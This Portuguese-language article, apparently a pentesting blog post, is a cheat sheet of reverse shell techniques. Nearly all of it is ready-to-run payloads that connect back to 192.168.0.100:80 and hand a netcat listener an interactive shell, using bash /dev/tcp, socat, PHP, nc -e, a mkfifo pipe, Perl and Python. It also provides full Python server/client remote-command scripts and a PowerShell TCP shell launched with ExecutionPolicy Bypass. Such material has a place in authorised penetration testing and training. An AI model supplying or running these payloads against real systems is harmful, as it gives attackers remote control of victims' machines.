Neste artigo apresento algumas opções que podem ser úteis durante a realização de um PenTest para que você possa estabelecer uma conexão reversa (reverse shell) com servidores e computadores de usuários.

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxexec 5<>/dev/tcp/192.168.0.100/80 cat <&5 | while read line; do $line 2>&5 >&5; done

Execute os comandos :
Linuxhostname ls -l

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxbash -i >& /dev/tcp/192.168.0.100/80 0>&1

Execute o comando :
Linuxhostname

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxsocat tcp:192.168.0.100:80 exec:'bash -i',pty,stderr,setsid,sigint,sane

Execute os comandos :
Linuxhostname

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxsocat tcp:192.168.0.100:80 exec:'bash -i',pty,stderr,setsid,sigint,sane

Execute o comando :
Linuxhostname

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linux
php -r '$sock=fsockopen("192.168.0.100",80);exec("/bin/bash -i <&3 >&3 2>&3");'

Conexão estabelecida!

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxnc -e /bin/bash 192.168.0.100 80

Execute o comando :
Linuxhostname

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linuxmkfifo /tmp/remoto;nc 192.168.0.100 80 0< /tmp/remoto | /bin/bash -i 2>&1 | tee /tmp/remoto

Conexão estabelecida!

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linux
perl -e 'use Socket;$i="192.168.0.100";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Conexão estabelecida!

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Execute :
Linux
python3 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.100",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Conexão estabelecida!

Execute o script server.py.
Linux
import socket
SERVER_HOST = "0.0.0.0"
SERVER_PORT = 80
# send 1024 (1kb) a time (as buffer size)
BUFFER_SIZE = 1024
# create a socket object
s = socket.socket()
# bind the socket to all IP addresses of this host
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(5)
print(f"Listening as {SERVER_HOST}:{SERVER_PORT} ...")
# accept any connections attempted
client_socket, client_address = s.accept()
print(f"{client_address[0]}:{client_address[1]} Conectado!")
# just sending a message, for demonstration purposes
message = "Conexao estabelecida com sucesso!".encode()
client_socket.send(message)
while True:
# get the command from prompt
command = input("Digite um comando: ")
# send the command to the client
client_socket.send(command.encode())
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# retrieve command results
results = client_socket.recv(BUFFER_SIZE).decode()
# print them
print(results)
# close connection to the client
client_socket.close()
# close server connection
s.close()

Execute o script client.py.
Linux
import socket
import subprocess
SERVER_HOST = "192.168.0.100"
SERVER_PORT = 80
BUFFER_SIZE = 1024
# create the socket object
s = socket.socket()
# connect to the server
s.connect((SERVER_HOST, SERVER_PORT))
# receive the greeting message
message = s.recv(BUFFER_SIZE).decode()
print("Server:", message)
while True:
# receive the command from the server
command = s.recv(BUFFER_SIZE).decode()
if command.lower() == "exit":
# if the command is exit, just break out of the loop
break
# execute the command and retrieve the results
output = subprocess.getoutput(command)
# send the results back to the server
s.send(output.encode())
# close client connection
s.close()

Execute o comando :
Linuxhostname

Inicie o nc (Net Cat) na porta 80.
Linuxnc -nlvp 80

Script client.ps1.
Windows
$socket = new-object System.Net.Sockets.TcpClient('192.168.0.100', 80);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do{
$writer.Write("> ");
$writer.Flush();
$read = $null;
while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}
$out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$out.equals("exit")){
$out = $out.split(' ')
$res = [string](&$out[0] $out[1..$out.length]);
if($res -ne $null){ $writer.WriteLine($res)}
}
}While (!$out.equals("exit"))
$writer.close();$socket.close();
Execute o script client.ps1.
powershell -ExecutionPolicy Bypass -File .\client.ps1

Execute os comandos :
Linuxhostname dir
